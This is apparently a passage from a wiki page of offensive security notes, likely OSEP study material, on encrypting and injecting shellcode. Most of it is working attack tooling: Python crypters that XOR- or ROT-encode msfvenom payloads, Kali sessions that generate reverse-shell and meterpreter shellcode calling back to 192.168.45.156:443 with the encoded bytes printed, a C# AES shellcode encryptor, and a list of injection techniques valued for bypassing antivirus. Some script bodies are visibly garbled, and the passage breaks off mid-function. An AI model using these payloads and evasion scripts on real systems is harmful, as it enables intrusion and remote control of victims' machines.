&lt;br /&gt;
* AES (128-bit CBC)&lt;br /&gt;
&lt;br /&gt;
* ChaCha20&lt;br /&gt;
&lt;br /&gt;
* RC4&lt;br /&gt;
&lt;br /&gt;
* Salsa20&lt;br /&gt;
&lt;br /&gt;
* XOR&lt;br /&gt;
&lt;br /&gt;
== [https://github.com/iilegacyyii/Shellcrypt#supported-formats https://github.com/iilegacyyii/Shellcrypt#supported-formats]Supported Formats ==&lt;br /&gt;
&lt;br /&gt;
* C&lt;br /&gt;
&lt;br /&gt;
* C#&lt;br /&gt;
&lt;br /&gt;
* Nim&lt;br /&gt;
&lt;br /&gt;
* Golang&lt;br /&gt;
&lt;br /&gt;
* Python&lt;br /&gt;
&lt;br /&gt;
* Powershell&lt;br /&gt;
&lt;br /&gt;
* Visual Basic for Applications (VBA)&lt;br /&gt;
&lt;br /&gt;
* Visual Basic Script (VBS)&lt;br /&gt;
&lt;br /&gt;
* Rust&lt;br /&gt;
&lt;br /&gt;
* Raw&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 shellcrypt.py -i shellcode.bin -e xor -f csharp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode injection techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
From github: &amp;quot;A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Assembly Injection&lt;br /&gt;
&lt;br /&gt;
* Shellcode Runner&lt;br /&gt;
&lt;br /&gt;
* Classic Injection&lt;br /&gt;
&lt;br /&gt;
* Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Local Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Asychronous Procedure Call Injection&lt;br /&gt;
&lt;br /&gt;
* Process Hollowing&lt;br /&gt;
&lt;br /&gt;
* Inter-Process Mapped View&lt;br /&gt;
&lt;br /&gt;
* Atom Bombing&lt;br /&gt;
&lt;br /&gt;
== Shellcode Encryptors ==&lt;br /&gt;
&lt;br /&gt;
=== Shellcode Encryptors - Helper code ===&lt;br /&gt;
&lt;br /&gt;
Below are codes that will encrypt the shellcode you provide. Compile in Visual Studios and run them.&lt;br /&gt;
&lt;br /&gt;
==== ShellcodeCrypter-bin.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.156 LPORT=443 -f raw -o shell.bin&lt;br /&gt;
&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcode-bin.py shell.bin cs xor 0xfa&lt;br /&gt;
[i] Generating payload for path shell.bin.&lt;br /&gt;
[i] Encoding payload with type xor and key 0xfa&lt;br /&gt;
[+] Encoded payload (CSharp):&lt;br /&gt;
// Payload xor-encoded with key 0xfa&lt;br /&gt;
byte[] buf = new byte[68] {&lt;br /&gt;
0xcb,0x21,0x0d,0x19,0xa9,0xb9,0xa9,0x90,0xf8,0x73,0x1b,0x4a,0x9c,&lt;br /&gt;
0x37,0x7a,0x69,0xa3,0x4a,0xc5,0x37,0x7a,0xb3,0x83,0x03,0x92,0x3a,&lt;br /&gt;
0x52,0xd7,0x66,0x92,0xf8,0xfa,0xfb,0x41,0x73,0x1b,0x4a,0x9c,0xaa,&lt;br /&gt;
0xab,0xa9,0x49,0xf9,0x73,0x1b,0x37,0x7a,0xa8,0x92,0x94,0xd5,0x89,&lt;br /&gt;
0x92,0x92,0xd5,0xd5,0x98,0x93,0x73,0x19,0xa8,0xa9,0x73,0x1b,0x4a,&lt;br /&gt;
0xf1,0x37,0x7a&lt;br /&gt;
};&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
    {&lt;br /&gt;
        buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# ShellcodeCrypter-bin.py&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;path&amp;quot;, help=&amp;quot;the path to load the raw shellcode payload from&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;/tmp/payload.bin&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the input path&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload for path {bcolors.OKGREEN}{args.path}{bcolors.ENDC}.&amp;quot;)&lt;br /&gt;
try:&lt;br /&gt;
    with open(args.path, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
        payload = f.read()&lt;br /&gt;
except:&lt;br /&gt;
    exit(f&#039;{bcolors.BOLD}{bcolors.FAIL}[-] Cannot read file: {args.path}{bcolors.ENDC}&#039;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{hex(args.key)}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    encodedPayload = []&lt;br /&gt;
    payloadFormatted = &amp;quot;&amp;quot;&lt;br /&gt;
    for byte in payload:&lt;br /&gt;
        byteInt = int(byte)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        encodedPayload.append(&amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4))&lt;br /&gt;
    payLen = len(encodedPayload)&lt;br /&gt;
    encodedPayload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(encodedPayload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted += f&amp;quot;// Payload {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{encodedPayload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== shellcodeCrypter-msfvenom.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcodecrypter.py 192.168.45.156 443 cpp xor 0xfa linux/x64/meterpreter/reverse_tcp&lt;br /&gt;
[i] Generating payload linux/x64/meterpreter/reverse_tcp for LHOST=192.168.45.156 and LPORT=443&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
No encoder specified, outputting raw payload&lt;br /&gt;
Payload size: 130 bytes&lt;br /&gt;
Final size of csharp file: 691 bytes&lt;br /&gt;
[i] Encoding payload with type xor and key 250&lt;br /&gt;
[+] Encoded payload (C++):&lt;br /&gt;
// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.45.156 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
// xor-encoded with key 0xfa&lt;br /&gt;
unsigned char buffer[] =&lt;br /&gt;
    &amp;quot;\xcb\x05\x90\xf3\xa2\x63\x4c\xea\xb2\x73\x2c\xb7\xcb\x33\x90\xd8&amp;quot;&lt;br /&gt;
    &amp;quot;\xbb\xa0\x90\xfd\xa0\xf5\xff\xb2\x7f\x3a\x82\xab\x90\xf0\xbb\xa3&amp;quot;&lt;br /&gt;
    &amp;quot;\xaa\x90\xd3\xa2\x63\x90\xf8\xa5\x90\xfb\xa4\xf5\xff\xb2\x7f\x3a&amp;quot;&lt;br /&gt;
    &amp;quot;\x82\xc1\xb2\x6d\xb2\x43\xf8\xfa\xfb\x41\x3a\x52\xd7\x66\xab\xb2&amp;quot;&lt;br /&gt;
    &amp;quot;\x73\x1c\x90\xea\xa0\x90\xd0\xa2\xf5\xff\xa3\xb2\x7f\x3a\x83\xdf&amp;quot;&lt;br /&gt;
    &amp;quot;\xb3\x05\x33\x8e\xe2\xad\x90\xd9\xa2\x90\xfa\x90\xff\xb2\x73\x1d&amp;quot;&lt;br /&gt;
    &amp;quot;\xb2\xcb\x0c\xf5\xff\xa3\xa3\xa5\xb2\x7f\x3a\x83\x3d\x90\xc6\xa2&amp;quot;&lt;br /&gt;
    &amp;quot;\x90\xfb\xa5\xf5\xff\xa4\x90\x84\xa0\xf5\xff\xb2\x7f\x3a\x82\x17&amp;quot;&lt;br /&gt;
\x05\x1c;&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ 0xfa);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;lhost&amp;quot;, help=&amp;quot;listener IP to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;lport&amp;quot;, help=&amp;quot;listener port to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
parser.add_argument(&amp;quot;payload&amp;quot;, help=&amp;quot;the payload type from msfvenom to generate shellcode for (default: windows/x64/meterpreter/reverse_tcp)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;windows/x64/meterpreter/reverse_tcp&amp;quot;)&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the preferred payload&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload {bcolors.OKGREEN}{args.payload}{bcolors.OKBLUE} for LHOST={bcolors.OKGREEN}{args.lhost}{bcolors.OKBLUE} and LPORT={bcolors.OKGREEN}{args.lport}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
result = subprocess.run([&#039;msfvenom&#039;, &#039;-p&#039;, args.payload, f&amp;quot;LHOST={args.lhost}&amp;quot;, f&amp;quot;LPORT={args.lport}&amp;quot;, &#039;exitfunc=thread&#039;, &amp;quot;-f&amp;quot;, &amp;quot;csharp&amp;quot;], stdout=subprocess.PIPE)&lt;br /&gt;
if result.returncode != 0:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Msfvenom generation unsuccessful. Are you sure msfvenom is installed?{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
# Get the payload bytes and split them&lt;br /&gt;
payload = re.search(r&amp;quot;{([^}]+)}&amp;quot;, result.stdout.decode(&amp;quot;utf-8&amp;quot;)).group(1).replace(&#039;\n&#039;, &#039;&#039;).split(&amp;quot;,&amp;quot;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{args.key}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    for i, byte in enumerate(payload):&lt;br /&gt;
        byteInt = int(byte, 16)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        payload[i] = &amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4)&lt;br /&gt;
    payLen = len(payload)&lt;br /&gt;
    payload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(payload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted = f&amp;quot;// msfvenom -p {args.payload} LHOST={args.lhost} LPORT={args.lport} EXITFUNC=thread -f csharp\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;// {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{payload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
public class AesEncryptionExample&lt;br /&gt;
{&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] shellcode = new byte[] { /* Your shellcode goes here */ };&lt;br /&gt;
        byte[] key = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF0123456789ABCDEF&amp;quot;); // 32-byte key&lt;br /&gt;
        byte[] iv = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF&amp;quot;); // 16-byte IV&lt;br /&gt;
        byte[] encryptedShellcode = EncryptShellcode(shellcode, key, iv);&lt;br /&gt;
        string encryptedHex = BitConverter.ToString(encryptedShellcode).Replace(&amp;quot;-&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Encrypted shellcode hex: &amp;quot; + encryptedHex);&lt;br /&gt;
    }&lt;br /&gt;
    public static byte[] EncryptShellcode(byte[] shellcode, byte[] key, byte[] iv)&lt;br /&gt;
    {&lt;br /&gt;
        byte[] encrypted;&lt;br /&gt;
        using (AesManaged aes = new AesManaged())&lt;br /&gt;
        {&lt;br /&gt;
            aes.Key = key;&lt;br /&gt;
            aes.IV = iv;&lt;br /&gt;
            ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);&lt;br /&gt;
            encrypted = encryptor.TransformFinalBlock(shellcode, 0, shellcode.Length);&lt;br /&gt;
        }&lt;br /&gt;
        return encrypted;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/blob/master/shellcode_encryptor.py Shellcode-Encryptor/shellcode_encryptor.py at master · plackyhacker/Shellcode-Encryptor (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import array, base64, random, string&lt;br /&gt;
from Crypto.Cipher import AES&lt;br /&gt;
from hashlib import sha256&lt;br /&gt;
import argparse, subprocess, os&lt;br /&gt;
def main():&lt;br /&gt;
	args = parse_args()&lt;br /&gt;
	lhost = args.lhost&lt;br /&gt;
	lport = args.lport&lt;br /&gt;
	key = args.key&lt;br /&gt;
	if not key:&lt;br /&gt;
		key = get_random_string(32)&lt;br /&gt;
	payload = args.payload&lt;br /&gt;
	method = args.method&lt;br /&gt;
	format = args.format&lt;br /&gt;
	&#039;&#039;&#039; generate msfvenom payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Generating MSFVENOM payload...&amp;quot;)&lt;br /&gt;
	result = subprocess.run([&#039;msfvenom&#039;,&lt;br /&gt;
		&#039;-p&#039;, payload,&lt;br /&gt;
		&#039;LPORT=&#039; + lport,&lt;br /&gt;
		&#039;LHOST=&#039; + lhost,&lt;br /&gt;
#		&#039;-b&#039;, &#039;\\x00&#039;,&lt;br /&gt;
		&#039;-f&#039;, &#039;raw&#039;,&lt;br /&gt;
		&#039;-o&#039;, &#039;./msf.bin&#039;],&lt;br /&gt;
		capture_output=False)&lt;br /&gt;
	f = open(&amp;quot;./msf.bin&amp;quot;, &amp;quot;rb&amp;quot;)&lt;br /&gt;
	buf = f.read()&lt;br /&gt;
	f.close()&lt;br /&gt;
	print(&amp;quot;[+] key and payload will be written to key.b64 and payload.b64&amp;quot;)&lt;br /&gt;
	&#039;&#039;&#039; encrypt the payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Encrypting the payload, key=&amp;quot; + key + &amp;quot;...&amp;quot;)&lt;br /&gt;
	hkey = hash_key(key)&lt;br /&gt;
	encrypted = encrypt(hkey, hkey[:16], buf)&lt;br /&gt;
	b64 = base64.b64encode(encrypted)&lt;br /&gt;
	f = open(&amp;quot;./key.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
	f.write(key)&lt;br /&gt;
	f.close()&lt;br /&gt;
	f = open(&amp;quot;./payload.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
	f.write(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
	f.close()&lt;br /&gt;
	if format == &amp;quot;b64&amp;quot;:&lt;br /&gt;
		&#039;&#039;&#039; base64 output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] Base64 output:&amp;quot;)&lt;br /&gt;
		print(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
	if format == &amp;quot;c&amp;quot;:&lt;br /&gt;
		&#039;&#039;&#039; c output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] C output:&amp;quot;)&lt;br /&gt;
		hex_string = &#039;unsigned char payload[] ={0x&#039;;&lt;br /&gt;
		hex = &#039;0x&#039;.join(&#039;{:02x},&#039;.format(x) for x in encrypted)&lt;br /&gt;
		hex_string = hex_string + hex[:-1] + &amp;quot;};&amp;quot;&lt;br /&gt;
		print(hex_string)&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
def encrypt(key,iv,plaintext):&lt;br /&gt;
	key_length = len(key)&lt;br /&gt;
	if (key_length &amp;gt;= 32):&lt;br /&gt;
		k = key[:32]&lt;br /&gt;
	elif (key_length &amp;gt;= 24):&lt;br /&gt;
		k = key[:24]&lt;br /&gt;
	else:&lt;br /&gt;
		k = key[:16]&lt;br /&gt;
	aes = AES.new(k, AES.MODE_CBC, iv)&lt;br /&gt;
	pad_text = pad(plaintext, 16)&lt;br /&gt;
	return aes.encrypt(pad_text)&lt;br /&gt;
def hash_key(key):&lt;br /&gt;
	h = &#039;&#039;&lt;br /&gt;
	for c in key:&lt;br /&gt;
